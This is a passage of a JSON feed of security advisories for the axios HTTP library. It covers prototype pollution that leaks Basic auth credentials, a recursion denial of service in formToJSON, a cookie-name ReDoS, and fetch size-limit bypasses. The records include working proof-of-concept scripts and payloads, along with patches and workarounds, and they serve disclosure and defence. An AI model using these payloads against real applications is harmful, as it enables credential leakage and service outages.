allowAbsoluteUrls),\n    config.params,            // ← direct read, not through own()\n    config.paramsSerializer   // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log('=== captured outbound request ===');\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end('{}');\n  server.close();\n  scrub();\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern — empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error('axios error:', e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own('auth');\n       if (configAuth) {\n-        const username = configAuth.username || '';\n-        const password = configAuth.password || '';\n+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n         auth = username + ':' + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n     headers.set(\n       'Authorization',\n       'Basic ' +\n-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle's public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:51:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67314","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","https://github.com/advisories/GHSA-xj6q-8x83-jv6g"],"source_kind":"github","identifiers":["GHSA-xj6q-8x83-jv6g","CVE-2026-67314"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-08-28T13:00:57.095Z","epss_percentage":0.00366,"epss_percentile":0.29247,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","url":"https://github.com/advisories/GHSA-pmv8-rq9r-6j72","title":"Axios: Deep formToJSON Key Recursion Can Cause Denial of Service","description":"## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `\u003c=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n  axios.formToJSON(fd);\n  console.log('not vulnerable');\n} catch (e) {\n  console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n  let name = path[index++];              // advance one level\n  if (name === '__proto__') return true;\n  // ...\n  if (!isLast) {\n    // ...\n    const result = buildPath(path, value, target[name], index);  // recurse — NO depth guard\n    // ...\n  }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n   ```javascript\n   return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n   ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n  formDataToJSON(fd);\n  console.log(\"Not vulnerable\");\n} catch (e) {\n  console.log(e.constructor.name + \": \" + e.message);\n  // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:48:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-pmv8-rq9r-6j72"],"source_kind":"github","identifiers":["GHSA-pmv8-rq9r-6j72"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-08-29T17:00:53.344Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.28.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","url":"https://github.com/advisories/GHSA-hfxv-24rg-xrqf","title":"Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection","description":"## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: 'XSRF-TOKEN'` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n  const start = Date.now();\n\n  try {\n    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  } catch {}\n\n  return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n  const cookie = 'x='.padEnd(n, 'a') + '!';\n  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n  cookie: 'session=abc; ' + 'a'.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = '([^;]+)+$' + '\\\\|'.repeat(10);\nconst maliciousName = '(([^;])+)+\\\\$';  // nested quantifier pattern\n\nconsole.log('=== ReDoS via Cookie Name Injection PoC ===');\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n  const payload = '(([^;])+)+' + 'X'.repeat(len);\n  const start = Date.now();\n  try {\n    cookiesRead(payload);\n  } catch (e) {\n    // May throw on invalid regex, but valid evil patterns won't throw\n  }\n  const elapsed = Date.now() - start;\n  console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log('\\n--- Exponential Backtracking Demo ---');\nfor (const n of [20, 22, 24, 26]) {\n  const evilName = '(' + 'a'.repeat(1) + '+)+$';\n  const testCookie = 'a'.repeat(n) + '!';  // non-matching trailer forces backtracking\n  globalThis.document = { cookie: testCookie };\n  const start = Date.now();\n  try {\n    cookiesRead(evilName);\n  } catch(e) {}\n  const elapsed = Date.now() - start;\n  console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n  return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$\u0026');\n}\n\n// ...\n\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const match = document.cookie.match(\n    new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')\n  );\n  return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const cookies = document.cookie.split('; ');\n  for (const cookie of cookies) {\n    const eqIndex = cookie.indexOf('=');\n    if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n      return decodeURIComponent(cookie.substring(eqIndex + 1));\n    }\n  }\n  return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:24:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://github.com/advisories/GHSA-hfxv-24rg-xrqf"],"source_kind":"github","identifiers":["GHSA-hfxv-24rg-xrqf","CVE-2026-44496"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-08-29T17:01:39.700Z","epss_percentage":0.00669,"epss_percentile":0.49044,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","url":"https://github.com/advisories/GHSA-777c-7fjr-54vf","title":"Allocation of Resources Without Limits or Throttling in Axios","description":"## Summary\n\nAxios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.\n\nThis can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.\n\n## Impact\n\nThe impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.\n\nThis does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.\n\nServer-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.\n\n## Affected Functionality\n\nAffected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.\n\nRelevant configurations include:\n\n- `adapter: 'fetch'`\n- `adapter: ['fetch', ...]` when `fetch` is selected\n- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`\n- custom fetch environments configured through `env.fetch`\n\nUnaffected functionality includes:\n\n- Node.js default `http` adapter enforcement\n- versions before the fetch adapter was introduced\n- configurations that do not rely on finite axios size limits\n\n## Technical Details\n\nIn vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.\n\nThe fix in `e5540dc` added:\n\n- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`\n- upfront `data:` URL decoded-size checks\n- outbound body-size checks before dispatch\n- `Content-Length` response pre-checks\n- streaming response 